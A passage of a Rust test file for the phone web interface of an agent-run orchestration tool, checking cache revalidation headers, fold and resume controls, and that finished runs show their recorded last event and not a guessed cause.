8630        assert!(
8631            by("bbbb")["superseded_by"].is_null(),
8632            "the latest attempt is not superseded by anything"
8633        );
8634        // Front end: the note has to be rendered, not just carried.
8635        assert!(APP_JS.contains("run.superseded_by"));
8636        assert!(APP_JS.contains("Superseded by"));
8637    }
8638
8639    #[tokio::test]
8640    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
8641        let fx = Fixture::start().await;
8642        // No cache header at all meant browsers invented their own policy,
8643        // and one did: a phone went on showing "Candidates must be folded
8644        // before deleting. Run `magi fold` first." - deleted two releases
8645        // earlier - from a deck that no longer contained the sentence. The
8646        // button it named was right there, and unreachable.
8647        let js = fx.get("/app.js").await;
8648        assert_eq!(js.status, 200);
8649        let tag = js
8650            .header("etag")
8651            .expect("an etag to revalidate against")
8652            .to_owned();
8653        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
8654        assert_eq!(
8655            js.header("cache-control"),
8656            Some("no-cache, must-revalidate"),
8657            "the phone has to ask every time"
8658        );
8659
8660        // And the asking has to be cheap, or `must-revalidate` just means
8661        // "send the whole interface on every load".
8662        let again = fx
8663            .get_with("/app.js", &[("if-none-match", tag.as_str())])
8664            .await;
8665        assert_eq!(
8666            again.status, 304,
8667            "a deck it already has costs one round trip"
8668        );
8669        assert!(again.body.is_empty(), "304 carries no body");
8670
8671        // A weakened tag from a proxy still matches; a different build does
8672        // not, which is the case that has to deliver the new interface.
8673        let weak = fx
8674            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
8675            .await;
8676        assert_eq!(weak.status, 304);
8677        let stale = fx
8678            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
8679            .await;
8680        assert_eq!(stale.status, 200, "an older build must be replaced");
8681        assert!(stale.body.contains("renderRunActions"));
8682    }
8683
8684    #[test]
8685    fn the_deck_never_sends_the_operator_to_a_terminal() {
8686        // The whole point of the phone UI is that a terminal is not needed.
8687        // The delete control used to answer with "Run `magi fold` first."
8688        assert!(
8689            !APP_JS.contains("Run `magi fold` first"),
8690            "the deck must offer the fold, not prescribe a shell command"
8691        );
8692        assert!(APP_JS.contains("foldRun:"));
8693        assert!(APP_JS.contains("resumeRun:"));
8694        assert!(APP_JS.contains("renderRunActions"));
8695
8696        // Folding is destructive and armed in two steps, like deleting.
8697        assert!(APP_JS.contains("armedFold"));
8698        assert!(APP_JS.contains("Yes, fold worktrees"));
8699
8700        // And the copy has to say that the two actions are opposites, because
8701        // folding throws away exactly what a resume would continue from.
8702        assert!(APP_JS.contains("can no longer be resumed"));
8703    }
8704
8705    #[test]
8706    fn a_finished_run_explains_itself_with_its_own_last_line() {
8707        // The deck used to answer "why did this stop?" with a sentence chosen
8708        // by status alone. Run e633 stalled because two judges answered with
8709        // the wrong JSON shape and its card said "The panel collapsed on
8710        // agent quota" - with `quota: []` in the record and a quota-loss
8711        // counter right above it that correctly said nothing.
8712        assert!(
8713            !APP_JS.contains("collapsed on agent quota"),
8714            "a stall must not be explained by a cause the deck did not check"
8715        );
8716        assert!(
8717            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
8718            "and a block must not offer a guess with an `or` in it"
8719        );
8720
8721        // The reason it does have is `run.event`, which must reach finished
8722        // runs: gating it on movement hid the recorded truth at the one moment
8723        // the operator is reading the card to find out what happened.
8724        assert!(
8725            APP_JS.contains("setText(r.event, run.event || \"\")"),
8726            "the run's last line is rendered unconditionally"
8727        );
8728        assert!(
8729            !APP_JS.contains("moving && run.event"),
8730            "and never gated on the run still moving"
8731        );
8732
8733        // Quota keeps its own counter, fed by the number actually recorded.
8734        assert!(APP_JS.contains("lost to quota"));
8735    }
8736}